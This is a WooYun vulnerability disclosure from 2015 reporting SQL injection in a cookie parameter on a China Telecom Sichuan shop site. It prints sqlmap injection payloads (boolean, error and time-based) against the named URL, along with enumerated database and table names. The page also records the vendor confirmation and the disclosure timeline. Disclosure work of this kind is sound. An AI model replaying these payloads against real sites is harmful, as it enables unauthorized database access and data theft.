当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0114110

漏洞标题：中国电信分站存在SQL注入

相关厂商：中国电信

漏洞作者： danieluec

提交时间：2015-05-14 16:49

修复时间：2015-07-02 13:48

公开时间：2015-07-02 13:48

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-05-14： 细节已通知厂商并且等待厂商处理中
2015-05-18： 厂商已经确认，细节仅向厂商公开
2015-05-28： 细节向核心白帽子及相关领域专家公开
2015-06-07： 细节向普通白帽子公开
2015-06-17： 细节向实习白帽子公开
2015-07-02： 细节向公众公开

简要描述：

中国电信189.cn分站（四川电信商城，四川电信网上营业厅）存在SQL注入漏洞

详细说明：

看了这个报告：

 WooYun: 中国电信189.cn某站点存在SQL注入(直取数据库账户)


感觉肯定还存在注入点，结果真的还存在一个注入点。
存在问题的还是这个url，但是这次是cookie参数有漏洞，

http://shop.wapsc.189.cn/mobile.php?act=module&name=shopping&do=list&weid=1


QQ截图20150514150053.png


切换城市，burp抓包，

QQ截图20150514150358.png


问题就出在cookie中的“current_city”参数上了，直接上sqlmap，依然爆出大量库表，

QQ截图20150514150622.png


QQ截图20150514150641.png


漏洞证明：

QQ截图20150514150622.png


QQ截图20150514150641.png


web application technology: PHP 5.4.11, Apache 2.4.9
back-end DBMS: MySQL >= 5.0.0
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
[*] wapmall
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: current_city (Cookie)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: 7455_from_user=1431585551; PHPSESSID=nlng8336dfqgerv4bs2bjvjt13; WT_FPC=id=2fca38b3c919cbce9591431584720437:lv=1431585662872:ss=1431584720437; Hm_lvt_5e7ae588b006b7820c6a5a3ca01d32ec=1431584721,1431585628; Hm_lpvt_5e7ae588b006b7820c6a5a3ca01d32ec=1431585663; current_city=%E6%B3%B8%E5%B7%9E' AND 8635=8635 AND 'ZLZc'='ZLZc
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: 7455_from_user=1431585551; PHPSESSID=nlng8336dfqgerv4bs2bjvjt13; WT_FPC=id=2fca38b3c919cbce9591431584720437:lv=1431585662872:ss=1431584720437; Hm_lvt_5e7ae588b006b7820c6a5a3ca01d32ec=1431584721,1431585628; Hm_lpvt_5e7ae588b006b7820c6a5a3ca01d32ec=1431585663; current_city=%E6%B3%B8%E5%B7%9E' AND (SELECT 3365 FROM(SELECT COUNT(*),CONCAT(0x716b6b6271,(SELECT (CASE WHEN (3365=3365) THEN 1 ELSE 0 END)),0x7162766a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'itAY'='itAY
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: 7455_from_user=1431585551; PHPSESSID=nlng8336dfqgerv4bs2bjvjt13; WT_FPC=id=2fca38b3c919cbce9591431584720437:lv=1431585662872:ss=1431584720437; Hm_lvt_5e7ae588b006b7820c6a5a3ca01d32ec=1431584721,1431585628; Hm_lpvt_5e7ae588b006b7820c6a5a3ca01d32ec=1431585663; current_city=%E6%B3%B8%E5%B7%9E' AND SLEEP(5) AND 'XXhp'='XXhp
---
web application technology: PHP 5.4.11, Apache 2.4.9
back-end DBMS: MySQL >= 5.0.0
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
[*] wapmall
Database: wapmall
[427 tables]
+----------------------------------------------------+
| ims_3d                                             |
| ims_3d_reply                                       |
| ims_3d_set                                         |
| ims_album                                          |
| ims_album_photo                                    |
| ims_album_reply                                    |
| ims_article                                        |
| ims_article_category                               |
| ims_article_reply                                  |
| ims_attachment                                     |
| ims_award                                          |
| ims_award_list                                     |
| ims_basic_reply                                    |
| ims_bbb_reply                                      |
| ims_bbb_user                                       |
| ims_bbb_winner                                     |
| ims_bigpan_award                                   |
| ims_bigpan_reply                                   |
| ims_bigpan_winner                                  |
| ims_bigwheel_award                                 |
| ims_bigwheel_fans                                  |
| ims_bigwheel_reply                                 |
| ims_black_reply                                    |
| ims_bless_card                                     |
| ims_bless_reply                                    |
| ims_business                                       |
| ims_cache                                          |
| ims_card                                           |
| ims_card_coupon                                    |
| ims_card_log                                       |
| ims_card_members                                   |
| ims_card_members_coupon                            |
| ims_card_password                                  |
| ims_cgt_signin_record                              |
| ims_cgt_signin_reply                               |
| ims_community_admap                                |
| ims_community_advertisement                        |
| ims_community_announcement                         |
| ims_community_express_company                      |
| ims_community_express_fee                          |
| ims_community_express_order                        |
| ims_community_manager                              |
| ims_community_member                               |
| ims_community_phone                                |
| ims_community_region                               |
| ims_community_reply                                |
| ims_community_report                               |
| ims_community_service                              |
| ims_community_servicecategory                      |
| ims_community_verifycode                           |
| ims_costquery_user                                 |
| ims_cover_reply                                    |
| ims_credit_log                                     |
| ims_credit_request                                 |
| ims_crowdfunding_topic                             |
...

修复方案：

实施严格过滤

版权声明：转载请注明来源 danieluec@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-05-18 13:47

厂商回复：

CNVD确认所述情况,已经转由CNCERT向中国电信集团公司通报,由其后续协调网站管理部门处置.

最新状态：

暂无